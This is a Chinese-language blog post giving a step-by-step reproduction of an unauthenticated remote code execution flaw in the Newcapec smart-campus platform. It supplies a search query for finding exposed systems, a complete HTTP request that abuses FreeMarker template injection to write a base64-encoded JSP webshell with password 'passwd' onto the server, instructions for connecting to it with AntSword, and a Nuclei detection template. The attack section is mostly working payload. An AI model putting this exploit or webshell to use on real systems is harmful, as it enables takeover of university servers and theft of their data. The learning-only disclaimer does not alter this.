新开普智慧校园系统命令执行漏洞[2023HW 0DAY]

分手后的思念是犯贱 2024-05-23 14:16 27阅读 0赞

### 一、免责声明： ###

本次文章仅限个人学习使用，如有非法用途均与作者无关，且行且珍惜；由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号望雪阁及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除整改并向您致以歉意。谢谢！

### 二、产品介绍： ###

新开普智慧校园系统/service_transport/service.action接口处存在FreeMarker模板注入，攻击者可在未经身份认证的情况下，调用后台接口，构造恶意代码实现远程代码执行，最终可造成服务器失陷。

### 三、资产梳理： ###

title=“掌上校园服务管理平台”

### 四、漏洞复现： ###

访问：http://x.x.x.x/service\_transport/service.action

出现以下界面，可能存在漏洞：  
![在这里插入图片描述][b81f66cd7a954de08765a56fa6722898.png]  
无回显  
![在这里插入图片描述][8a89586850c84e96bae28fc326d65937.png]

写入木马：

POST /service_transport/service.action HTTP/1.1
    Host: your-ip
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
     
    {
        
            "command": "GetFZinfo", 
            "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
            ?new()>${ex(\"cmd /c echo PCUhCiAgICBjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXIgewogICAgICAgIFUoQ2xhc3NMb2FkZXIgYykgewogICAgICAgICAgICBzdXBlcihjKTsKICAgICAgICB9CiAgICAgICAgcHVibGljIENsYXNzIGcoYnl0ZVtdIGIpIHsKICAgICAgICAgICAgcmV0dXJuIHN1cGVyLmRlZmluZUNsYXNzKGIsIDAsIGIubGVuZ3RoKTsKICAgICAgICB9CiAgICB9CiAKICAgIHB1YmxpYyBieXRlW10gYmFzZTY0RGVjb2RlKFN0cmluZyBzdHIpIHRocm93cyBFeGNlcHRpb24gewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIENsYXNzIGNsYXp6ID0gQ2xhc3MuZm9yTmFtZSgic3VuLm1pc2MuQkFTRTY0RGVjb2RlciIpOwogICAgICAgICAgICByZXR1cm4gKGJ5dGVbXSkgY2xhenouZ2V0TWV0aG9kKCJkZWNvZGVCdWZmZXIiLCBTdHJpbmcuY2xhc3MpLmludm9rZShjbGF6ei5uZXdJbnN0YW5jZSgpLCBzdHIpOwogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7CiAgICAgICAgICAgIENsYXNzIGNsYXp6ID0gQ2xhc3MuZm9yTmFtZSgiamF2YS51dGlsLkJhc2U2NCIpOwogICAgICAgICAgICBPYmplY3QgZGVjb2RlciA9IGNsYXp6LmdldE1ldGhvZCgiZ2V0RGVjb2RlciIpLmludm9rZShudWxsKTsKICAgICAgICAgICAgcmV0dXJuIChieXRlW10pIGRlY29kZXIuZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImRlY29kZSIsIFN0cmluZy5jbGFzcykuaW52b2tlKGRlY29kZXIsIHN0cik7CiAgICAgICAgfQogICAgfQolPgo8JQogICAgU3RyaW5nIGNscyA9IHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwYXNzd2QiKTsKICAgIGlmIChjbHMgIT0gbnVsbCkgewogICAgICAgIG5ldyBVKHRoaXMuZ2V0Q2xhc3MoKS5nZXRDbGFzc0xvYWRlcigpKS5nKGJhc2U2NERlY29kZShjbHMpKS5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7CiAgICB9CiU+ >./webapps/ROOT/1.txt\")}"
    }

文件转换为jsp

蚁剑连接：http://your-ip/1.jsp

密码passwd  
![在这里插入图片描述][7b3572f485c1424ca058935fc6230b58.png]

五、Nuclei检测：

id: newcapec_zhihuischool_rce
    info:
      name: newcapec_zhihuischool_rce
      author: joyboy
      severity: critical
      description: http://xxx.xxx.xxx/AdminPage/conf/runCmd?cmd=id%26%26echo%20nginx
      metadata:
        max-request: 1
        fofa-query: title="掌上校园服务管理平台"
        verified: true
      tags: newcapec_zhihuischool,rce
    
    requests:
      - method: GET
        path:
          - "{
        {BaseURL}}/service_transport/service.action"
    
        matchers-condition: and
        matchers:
          - type: status
            status:
              - 200
          - type: word
            words:
              - '本次处理完成，请求数据为空'

![在这里插入图片描述][88d17ff79a094d0f8d3efc051830cc5a.png]

[b81f66cd7a954de08765a56fa6722898.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/d89513bb0dfd41baa14664b5396e945a.png
[8a89586850c84e96bae28fc326d65937.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/88daf665a8f3416ca5beb04685e96f8a.png
[7b3572f485c1424ca058935fc6230b58.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/871f16b5884246de8cb4455149af2ee9.png
[88d17ff79a094d0f8d3efc051830cc5a.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/a51816f946d645ccabcc5862eee63cde.png